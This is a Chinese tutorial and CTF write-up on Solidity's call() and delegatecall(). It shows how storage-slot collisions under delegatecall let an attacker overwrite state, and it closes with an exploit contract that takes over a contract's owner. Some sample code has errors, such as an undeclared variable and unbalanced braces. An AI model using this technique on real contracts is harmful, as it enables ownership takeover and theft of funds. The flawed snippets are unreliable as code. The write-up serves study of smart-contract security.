一、前言

作为不太成熟的编程语言,Solidity函数由于其运行机制等问题目前能找到很多的安全问题。在之前的分析中,我们针对共识、合约等方向进行过概括性的研究,而最近区块链安全的研究热也激起了研究者对以太坊的深入了解。

最近的几次CTF比赛中,区块链的题目出现的频率也越来越高,也逐渐进入大家的视野中。今天,我们就针对部分区块链的CTF题目以及生产环境中的实例进行一些相关技术分析,并带领读者一步一步模拟这些漏洞的出现情况。并在以太坊平台上进行相关合约部署,方便研究者更进一步的研究。

在分析开始之前,我们先对智能合约有一个基础的概念了解。

智能合约就是运行在区块链网络上的程序,智能合约与合约执行的结果都会储存在区块链上。在区块链的背景下,智能合约不只是一个计算机程序:它自己就是一个参与者,对接收到的信息进行回应并在同时接受和存储相应的价值。除此之外,它也能同外部地址合约进行交互,向外发送信息和价值。智能合约与一般程序的差异主要体现在以下四个方面:

  • 整合资金流程度

智能合约通过以太坊自带的以太币可以非常容易的整合资金流系统。

  • 部署以及后续费用

一般程序部署在服务器上,程序部署成功后,除了需要花费一些维护费用外不需要其他的额外花费。智能合约在部署的时候需要一笔费用,这些费用将分给参与交易验证的人。而在合约部署成功后,合约会作为不可更改的区块链的一部分,分散地存储在全球各地的以太坊节点上。因此,智能合约部署后,并不需要定期提供维持费用,同时查询已写入区块链的静态数据时也不需要费用,只有在每次通过智能合约写入数据的时候才需要交易费用。

例如:

上述图片为查询owner的信息,而此次查询点击即可获得信息,并不需要支付交易费用。

然而对于根据智能合约写入信息来说,我们则需要进行手续费的提供。

  • 存储成本不同

一般的应用程序需要将数据存储到服务器上,需要数据时需要从服务器上读取。然而智能合约将数据存储在区块链上,存储数据所需的成本相对比较昂贵,需要根据存储数据的大小支付相当的费用情况。

  • 部署后无法更改

一般的程序可以通过版本升级的方式进行更改,而智能合约一旦部署到区块链上后,就无法更改这个智能合约。

二、关键威胁函数分析

根据知道,在Solidity合约的书写中,跨合约调用是经常出现危险的地方。而我们就要在这里对调用函数进行一些详细的分析。这里我们分别对call()以及delegatecall()函数进行实验分析,之后对某些函数存在的上下文问题进行深入的理论探讨。

在实验中,我部署了

pragma solidity ^0.4.23;
contract subFun {

    address public addr;

    function subTest() public returns (address a){
        addr = address(this);


    }
}
contract callAndDelegatecall {
    address public b;

    address public testaddress;
    constructor(address _address) public {
        testaddress = _address;
    }
    function withcall() public {
        testaddress.call(bytes4(keccak256("subTest()")));
    }
    function withdelegatecall() public {
        testaddress.delegatecall(bytes4(keccak256("subTest()")));
    }
}

并以此代码进行实验。

1 call()函数

开始的时候,我们传入地址信息并对此函数进行部署。

由下图,我们通过此函数部署了两个contract。

此时,我们查看两个合约对应的addr参数的值,我们知道初始时的值均为Ox0000000。

之后我们调用callAndDelegatecall合约中的withcall()函数,将addr的值更改后我们进行查看。

我们发现subFun合约中的地址被修改,而下面的地址仍然是0x00000。

这就可以很好地说明,调用call()时,上下文环境是被调用的合约的环境。

2 delegatecall()函数

二者执行代码的上下文环境的不同,当使用call调用其它合约的函数时,代码是在被调用的合约的环境里执行,对应的,使用delegatecall进行函数调用时代码则是在调用函数的合约的环境里执行。

对于delegatecall()函数来说,我们同样进行试验。

点击运行函数后,我们发现了不同的现象。

我们下面的地址有了改变。我们根据代码进行分析:

由于我调用了

testaddress.delegatecall(bytes4(keccak256("subTest()")));

而这个函数远程调用了子合约中的函数。而我们之严重被改变的地址是父合约的。所以意味着码则是在调用函数的合约的环境里执行。

所以进行总结,我们得出:

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。

  • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境。

三、实例分析

根据我们上述代码的实验分析,我们知道由于delegatecall函数是在调用者环境中执行代码的,所以我们可以大胆的进行设想:倘若有某个官方系统的合约代码中存在某个接口能够传入参数,并且拥有delegatecall函数的调用可能。那么我们是否可以通过此来进行合约调用?(因为它的上下文环境是在本机)而下面,我们就要针对这个相关的问题进行delegatecall函数的综合利用。并根据EVM的机制漏洞来实验相关不安全代码。

1 合约实例分析

pragma solidity ^0.4.23;
contract Subcontract {
    uint public start;
    uint public calculatedNumber;

    function setStart(uint _start) public {
        start = _start;
    }

    function setfun(uint n) public {
        calculatedNumber = test(n);
    }

    function test(uint n) internal returns (uint) {

        return start * n;

    }
}


contract Mastercontract {
    address public addr;
    uint public calculatedNumber = 1;
    uint public start = 1;
    uint public withdrawalCounter = 1;
    bytes4 constant fibSig = bytes4(keccak256("setfun(uint)"));

    constructor(address _fibonacciLibrary) public {
        fibonacciLibrary = _fibonacciLibrary;
    }

    function withdraw() public {
        withdrawalCounter += 1;
        require(addr.delegatecall(fibSig,withdrawalCounter),"something wrong");
        msg.sender.transfer(calculatedNumber * 1 ether);
    }


    }
}

分析上述合约,我们来看对应的函数。

首先例子中存在一个Subcontract()合约,这个为子合约。而自合约中存在test函数,而我们能够看出来test函数中返回的值为传入的n值与start的值的乘积。而在setfun()函数中,我们调用test()函数赋值给变量calculatedNumber

而我们再看主合约。对于以太币相关的东西,我们最应该关注的地方就是转账函数。而在withdraw函数中,我们存在msg.sender.transfer(calculatedNumber * 1 ether);函数。而在此函数中,合约会向调用者转账calculatedNumber * 1个以太币。所以倘若我们想增加转账数额,那么我们就需要提高calculatedNumber的值。

而在我们的合约中,我们发现转账参数只有1。所以转账的数额很少。

我们需要修改calculatedNumber的值,而我们并没有在主函数中发现修改其值的地方。然而,这个代码中却存在着很严重的问题。

虽然我们不能直接修改calculatedNumber参数的值,但是我们发现了代码中存在函数调用require(addr.delegatecall(fibSig,withdrawalCounter),"something wrong");。那我们能否在这个地方做手脚呢?

(此处是重点) 在子合约中我们定义了两个uint的变量start 与 calculatedNumber。而在Solidity存储机制中,他们两个被分别存储在slot[0]与slot[1]这两个位置。(代表以太坊虚拟机的两个空间)

类似的,在Mastercontract合约中,addr 与calculatedNumber也被存储在slot[0]与slot[1]这两个位置。而根据我们上面的测试内容,delegatecall保留了合约的上下文,运行环境其实为本合约。这意味着通过delegatecall的代码将对主调用合约的状态(如存储)产生作用。

也就是说,我使用delegatecall ()函数后由于是在主合约的上下文中,所以子合约将去寻找start,而在以太坊机制中,我们并不是通过名字来进行值的获取,而且根据位置了寻找。即库合约中的start的存储位置为slot[0],那么当使用delegatecall时,就是在主调用合约的slot[0]位置去找,但是在主调用合约中slot[0]位置的值为addr。也就是说,我们通过远程调用而改变了主函数中变量的值。

下面我们看具体的代码实验。

首先我们部署子合约:

之后我们传入子合约地址并部署master合约,之后得到

之后传递aaa的值为55555:

再次点击aaa后,我们查看更新后的值:

发现我们的合约fibonacciLibrary1的值被更改了。

我们将代码放于此:

pragma solidity ^0.4.23;
contract Subcontract {

    uint public calculatedNumber;
    // uint public start = 99;

    // function setStart(uint _start) public {
    //     start = _start;
    // }

    function setfun(uint n) public {
        calculatedNumber =  n;
    }

}


contract Mastercontract {

    // uint public withdrawalCounter = 20;
    address public fibonacciLibrary1;
    address public fibonacciLibrary;


    bytes4 constant fibSig = bytes4(keccak256("setfun(uint256)"));

    constructor(address _fibonacciLibrary) public {
        fibonacciLibrary = _fibonacciLibrary;

    }
    function aaa(uint Counter) public {

        fibonacciLibrary.delegatecall(fibSig,Counter);
    }

}

我们发现我们并没有能够更改fibonacciLibrary1参数的入口,但是它确实被更改了。也就意味着我们使用delegatecall函数成功了。

2 合约CTF题目分析

下面,我们看一道改编后的ctf题目。

在测试环境中,我们需要用到三个合约地址:

这三个合约地址分别部署子合约、父合约以及攻击合约。

而下面我们看一下题目。

pragma solidity ^0.4.23;
import "github.com/Arachnid/solidity-stringutils/strings.sol";

contract Ttest {

  address public addr1;
  address public addr2;
  address public owner; 
  using strings for *;


  bytes4 constant setTimeSignature = bytes4(keccak256("set(uint256)"));



  constructor(address _a, address _b) public {
    addr1 = _a; 
    addr2 = _b; 
    owner = msg.sender;
  }


  function First(uint _timeStamp) public {
    addr1.delegatecall(setTimeSignature, _timeStamp);
  }


  function Second(uint _timeStamp) public {
    addr2.delegatecall(setTimeSignature, _timeStamp);
  }

  function attack(string name) public returns(string){
    require (owner == msg.sender);
    string memory c = "Congratulations  attacker !!";

    return c.toSlice().concat(name.toSlice());
  }
}


contract Library {


  uint first;  

  function set(uint _time) public {
    first = _time;
  }
}

主合约中共有三个函数:First Second attack。而前两个函数用于调用子合约中的set函数。我们在attack()函数中看到,在内部需要require,即在执行此函数的过程中需要将我们的owner身份验证为调用者。(也就是说我攻击者需要将owner改成自己的地址才能攻击)

所以我们根据上面提及的内容,进行分析。我们知道在First Second函数中存在delegatecall (),而我们知道这个函数是在运行函数方的上下文中进行的。所以我们根据上文提及的存储漏洞来进行合约攻击。

首先部署好合约:

这里分别使用第一个地址与第二个地址部署。

之后我们使用第三个地址部署攻击合约:

此时我们能够看到目前addr1与addr2变量对应的地址为子合约那个部分的地址。也就是说我现在调用函数会执行自合约部分的set函数。

之后我使用存储漏洞修改掉地址一。此时我们将attack部署在地址三上。然后传入attack合约地址于First函数中。

运行后查看得到:

此时,我们addr1的地址已经变成了部署attack的地方,也就是说此时倘若我运行First()函数,那么我们就会调用attack合约中的set()函数。而我们具体看一下set函数的内容:

function set (uint _time) public {
      owner = tx.origin;
  }

我们任意的传入参数,之后就会将owner更改为合约所有者——即attacker的地址。

此时我们调用了First函数,之后我们再看owner的变化。

它从0x14.......变成了0x4B......。也就是说它变成了我们攻击者的owner地址。

此时我们就可以调用Ttest合约中的attack()函数(因为已经绕过了owner)。得到:

至此,我们的攻击成功。

四、参考链接

本稿为原创稿件,转载请标明出处。谢谢。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖